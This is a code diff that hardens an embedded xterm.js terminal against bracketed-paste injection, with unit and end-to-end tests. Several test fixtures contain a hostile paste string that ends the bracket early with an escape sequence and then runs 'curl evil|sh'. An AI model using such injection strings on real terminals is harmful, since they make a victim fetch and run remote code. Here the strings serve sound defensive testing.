diff --git a/e2e/terminal-paste-escape.spec.ts b/e2e/terminal-paste-escape.spec.ts new file mode 100644 index 000000000..587642eeb --- /dev/null +++ b/e2e/terminal-paste-escape.spec.ts @@ -0,0 +1,60 @@ +import { expect, test } from "@playwright/test"; + +test("a pasted ESC cannot end bracketed paste early", async ({ page }) => { + await page.goto("/"); + const observed = await page.evaluate(async () => { + const ipcPath = "/src/platform/ipc.ts"; + const sessionPath = "/src/features/terminal/session.ts"; + const { commands } = await import(ipcPath); + const { TerminalSession } = await import(sessionPath); + Object.defineProperty(window, "__TAURI_INTERNALS__", { + configurable: true, + value: { transformCallback: () => 1 }, + }); + const writes: string[] = []; + commands.termSpawn = async () => ({ status: "ok", data: { id: 839, title: "bash", pid: 1 } }); + commands.clipboardFileList = async () => ({ status: "ok", data: [] }); + commands.termWrite = async (_id: number, data: string) => writes.push(data); + commands.termResize = async () => undefined; + commands.termKill = async () => undefined; + const container = document.createElement("div"); + container.style.cssText = "position:fixed;inset:0;z-index:99999"; + document.body.append(container); + const session = new TerminalSession({ key: "paste-escape", cwd: "/tmp", onChange() {}, onFocus() {} }); + const paste = async (text: string) => { + const before = writes.length; + const transfer = new DataTransfer(); + transfer.setData("text/plain", text); + const event = new ClipboardEvent("paste", { bubbles: true, cancelable: true, clipboardData: transfer }); + container.querySelector("textarea")!.dispatchEvent(event); + const deadline = Date.now() + 5000; + while (writes.length === before && Date.now() < deadline) { + await new Promise((resolve) => requestAnimationFrame(resolve)); + } + return { claimed: event.defaultPrevented, written: writes.slice(before) }; + }; + try { + session.attach(container); + await session.start(); + // xterm opens on a later frame, once the pane has a size. + const openDeadline = Date.now() + 5000; + while (!container.querySelector("textarea") && Date.now() < openDeadline) { + await new Promise((resolve) => requestAnimationFrame(resolve)); + } + // The shell asks for bracketed paste, as bash and zsh do at the prompt. + await new Promise((resolve) => session.term.write("\x1b[?2004h", resolve)); + return { + hostile: await paste("README\x1b[201~;curl evil|sh;#\r"), + plain: await paste("ls -la"), + }; + } finally { + session.dispose(); + container.remove(); + } + }); + expect(observed.hostile).toEqual({ + claimed: true, + written: ["\x1b[200~README\u241b[201~;curl evil|sh;#\r\x1b[201~"], + }); + expect(observed.plain).toEqual({ claimed: false, written: ["\x1b[200~ls -la\x1b[201~"] }); +}); diff --git a/src/features/terminal/embedded.ts b/src/features/terminal/embedded.ts index 6b68355db..b49a32297 100644 --- a/src/features/terminal/embedded.ts +++ b/src/features/terminal/embedded.ts @@ -8,7 +8,7 @@ import { writeClipboardText } from "@/platform/clipboard"; import { noteCopySource } from "@/platform/clipboardSource"; import { installTerminalDrop } from "./drop"; import { installDomRowCache } from "./domRowCache"; -import { installTerminalPaste } from "./paste"; +import { installTerminalPaste, pasteIntoTerminal } from "./paste"; import { ownTerminalInput } from "./imeInput"; import { Terminal, type IDisposable } from "@xterm/xterm"; import { FitAddon } from "@xterm/addon-fit"; @@ -110,8 +110,8 @@ export function createEmbeddedTerminal(host: HTMLElement, opts: EmbeddedTerminal }, }), ]; - const removePaste = installTerminalPaste(host, (text) => term.paste(text)); - const removeDrop = installTerminalDrop(host, (text) => term.paste(text)); + const removePaste = installTerminalPaste(host, (text) => pasteIntoTerminal(term, text)); + const removeDrop = installTerminalDrop(host, (text) => pasteIntoTerminal(term, text)); term.open(host); installDomRowCache(term); if (opts["aria-label"]) term.textarea?.setAttribute("aria-label", opts["aria-label"]); diff --git a/src/features/terminal/paste.test.ts b/src/features/terminal/paste.test.ts index 3ad309f74..67ff93172 100644 --- a/src/features/terminal/paste.test.ts +++ b/src/features/terminal/paste.test.ts @@ -2,7 +2,7 @@ import { afterEach, beforeEach, expect, it, vi } from "vitest"; import { Terminal } from "@xterm/xterm"; import { commands } from "@/platform/ipc"; import { usePlatform } from "@/platform/platformInfo"; -import { installTerminalPaste, pasteTerminalClipboard, type TerminalPasteTarget } from "./paste"; +import { installTerminalPaste, pasteIntoTerminal, pasteTerminalClipboard, type TerminalPasteTarget } from "./paste"; const notify = vi.hoisted(() => vi.fn()); vi.mock("@/workbench/contributions", () => ({ notifications: () => ({ notify }) })); @@ -87,6 +87,83 @@ it("passes recovered multiline paths through xterm bracketed paste", async () => } }); +const BRACKETED_PASTE_ON = "\x1b[?2004h"; + +async function openTerminal(bracketed: boolean) { + const host = document.createElement("div"); + document.body.append(host); + const term = new Terminal({ allowProposedApi: true }); + term.open(host); + const data: string[] = []; + term.onData((text) => data.push(text)); + if (bracketed) await new Promise((resolve) => term.write(BRACKETED_PASTE_ON, resolve)); + return { + host, + term, + data, + close() { + term.dispose(); + host.remove(); + }, + }; +} + +function pasteEvent(text: string): Event { + const event = new Event("paste", { bubbles: true, cancelable: true }); + Object.defineProperty(event, "clipboardData", { value: { getData: () => text, files: [], types: ["text/plain"] } }); + return event; +} + +it("shows an ESC in pasted text as a symbol so it cannot end bracketed paste early", async () => { + const { term, data, close } = await openTerminal(true); + try { + pasteIntoTerminal(term, "a\x1b[201~curl evil|sh\r"); + expect(data).toEqual(["\x1b[200~a\u241b[201~curl evil|sh\r\x1b[201~"]); + } finally { + close(); + } +}); + +it("leaves pasted text unchanged when the shell has not asked for bracketed paste", async () => { + const { term, data, close } = await openTerminal(false); + try { + pasteIntoTerminal(term, "a\x1b[201~b\r"); + expect(data).toEqual(["a\x1b[201~b\r"]); + } finally { + close(); + } +}); + +it("claims a Ctrl+V whose text holds an ESC, before xterm's own listener brackets it as is", async () => { + const { host, term, data, close } = await openTerminal(true); + const remove = installTerminalPaste(host, (text) => pasteIntoTerminal(term, text)); + try { + const event = pasteEvent("README\x1b[201~;curl evil|sh;#\r"); + term.textarea!.dispatchEvent(event); + expect(event.defaultPrevented).toBe(true); + expect(data).toEqual(["\x1b[200~README\u241b[201~;curl evil|sh;#\r\x1b[201~"]); + } finally { + remove(); + close(); + } +}); + +it("leaves a Ctrl+V without an ESC to xterm", async () => { + const { host, term, data, close } = await openTerminal(true); + const paste = vi.fn((text: string) => pasteIntoTerminal(term, text)); + const remove = installTerminalPaste(host, paste); + try { + const event = pasteEvent("ls -la\r"); + term.textarea!.dispatchEvent(event); + expect(event.defaultPrevented).toBe(false); + expect(paste).not.toHaveBeenCalled(); + expect(data).toEqual(["\x1b[200~ls -la\r\x1b[201~"]); + } finally { + remove(); + close(); + } +}); + function image(buffer: () => Promise = async () => new Uint8Array([1, 2]).buffer, size = 2): Blob { return { type: "image/png", size, arrayBuffer: buffer } as Blob; } diff --git a/src/features/terminal/paste.ts b/src/features/terminal/paste.ts index 5c1ad1825..48cf108b1 100644 --- a/src/features/terminal/paste.ts +++ b/src/features/terminal/paste.ts @@ -3,6 +3,7 @@ import { call, commands, type TerminalId } from "@/platform/ipc"; import { tx } from "@/platform/i18n"; import { usePlatform } from "@/platform/platformInfo"; import { notifications } from "@/workbench/contributions"; +import type { Terminal } from "@xterm/xterm"; export interface TerminalPasteTarget { id: TerminalId; @@ -15,6 +16,16 @@ export interface TerminalPasteTarget { type Target = () => TerminalPasteTarget | null; const MAX_MEDIA_BYTES = 20 * 1024 * 1024; +const ESC = "\x1b"; + +/** + * xterm.js 6.0 brackets pasted text as it is, so an ESC[201~ inside it ends the bracket early and + * what follows is typed, Enter included. Shows each ESC as U+241B (␛), as xterm.js 6.1 does, + * while the shell has bracketed paste on. + */ +export function pasteIntoTerminal(term: Pick, text: string): void { + term.paste(term.modes.bracketedPasteMode ? text.replaceAll(ESC, "\u241b") : text); +} function pathsText(paths: readonly string[], target: TerminalPasteTarget): string { const shell = target.shell.toLowerCase().replace(/\.exe$/, ""); @@ -107,6 +118,13 @@ export function installTerminalPaste(host: HTMLElement, paste: (text: string) => return; } } + const pasted = transfer?.getData("text/plain"); + if (!event.defaultPrevented && pasted?.includes(ESC)) { + event.preventDefault(); + event.stopImmediatePropagation(); + if (alive) paste(pasted); + return; + } pasteClipboardFiles(event, (text) => { if (alive) paste(text); }); diff --git a/src/features/terminal/session.ts b/src/features/terminal/session.ts index 99d3039f1..98f53677c 100644 --- a/src/features/terminal/session.ts +++ b/src/features/terminal/session.ts @@ -20,7 +20,7 @@ import { installTerminalDrop } from "./drop"; import { installDomRowCache } from "./domRowCache"; import { installSelectionHighlights, type SelectionHighlightController } from "./highlight"; import { installLinkHighlights, xtermLink, type LinkHighlightController } from "./linkHighlights"; -import { installTerminalPaste, pasteTerminalClipboard } from "./paste"; +import { installTerminalPaste, pasteIntoTerminal, pasteTerminalClipboard } from "./paste"; import { ImeCommitGate } from "./imeCommit"; import { ownTerminalInput } from "./imeInput"; import { findTerminalLinks, resolvePath, type TerminalLink } from "./links"; @@ -783,7 +783,7 @@ export class TerminalSession { paste(text: string) { if (this.disposed) return; - this.term.paste(text); + pasteIntoTerminal(this.term, text); } clearSelection() {